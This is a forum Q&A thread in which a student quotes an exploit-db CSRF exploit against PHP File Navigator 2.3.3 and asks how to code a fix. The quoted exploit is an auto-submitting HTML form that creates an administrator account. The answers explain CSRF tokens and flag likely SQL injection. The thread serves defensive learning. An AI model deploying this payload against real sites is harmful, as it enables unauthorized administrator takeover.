2

I found this privilege escalation exploit code on the exploit-db vulnerability website and as an assignment I need to determine what countermeasure I will use to correct this exploit. As part of the assignment criteria the correction must be coded.

I'm still new to exploiting vulnerabilities and php so I'm having a bit of difficulty understanding how to correct this. I have considered implementing least privilege or privilege separation but I don't know how these would be implmented. What would be an appropriate countermeasure or correction for this vulnerability?

System: PHP File Navigator 2.3.3

Exploit code:

<!DOCTYPE>
<html>
<script>
function pwn(){
var e=document.getElementById('ELEVATO_DE_PRIVLOS')
e.submit()

}
</script>
<body onLoad="pwn()">


<!-- Escalate privs to that of Admin -->

<form id="ELEVATO_DE_PRIVLOS" action="
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php"
method="post">
<input type="hidden" name="id_usuario" value="5" />
<input type="text" id="nome" name="nome" value="b2" class="text"
tabindex="10" />
<input type="text" id="usuario" name="usuario" value="b2" class="text"
tabindex="20" />
<input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
<input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
<input type="text" id="email" name="email" value="[email protected]" class="text"
tabindex="50" />
<input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
<input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
<select id="cambiar_datos" name="cambiar_datos" tabindex="75">
<option value="1" >ON</option>
<option value="0" selected="selected">OFF</option>
</select>
<select id="id_grupo" name="id_grupo" tabindex="80">
<option value="1" selected="selected">Administrators</option>
</select>
<select id="admin" name="admin" tabindex="90">
<option value="1" selected="selected">ON</option>
<option value="0">OFF</option>
</select>
<select id="estado" name="estado" tabindex="100">
<option value="1" selected="selected">ON</option>
<option value="0" >OFF</option>
</select>
<input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
class="checkbox" />
</form>

</body>
</html>
Improve this question
3
  • Perhaps owasp.org/… ?
    – Dog eat cat world
    Oct 9, 2016 at 18:11
  • @Dogeatcatworld. I forgot to mention that I cannot do XSS. It has to be regarding privlege escalation
    – Osiris93
    Oct 9, 2016 at 18:25
  • 1
    @Dogeatcatworld Apologies, I just realized now that CVE code was not relating to privilege escalation.
    – Osiris93
    Oct 9, 2016 at 18:37

2 Answers 2

Reset to default
1

This is definitely not an exploit for CVE-2011-3775, which is a rather low-severity information leak vulnerability.

What this is is an exploit for a CSRF vulnerability, so that is what you should defend against. See for example OWASP on defending against CSRF

Improve this answer
1
  • 1
    I just went and looked at it now. I think it would help if I read the entire write-up and not just skim for the application name. My apologies, will remove the CVE code from the question.
    – Osiris93
    Oct 9, 2016 at 18:31
0

So the entire problem of this is that you can arbitrarily submit that form to your gdar.php. gdar.php should only allow information to be posted to it from certain pages, this can be accomplished with cookies/session tokens to verify they are on a certain page and they are a certain user with certain privileges. Check out the OWASP PHP Security Cheat Sheet for more information on preventing CSRF.

Looking at the code gdar.php it also looks like it is susceptible to a SQL Injection as well since it just straight up takes the submitted text from the post fields into a query. Check out this resource for stopping SQLi in PHP.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .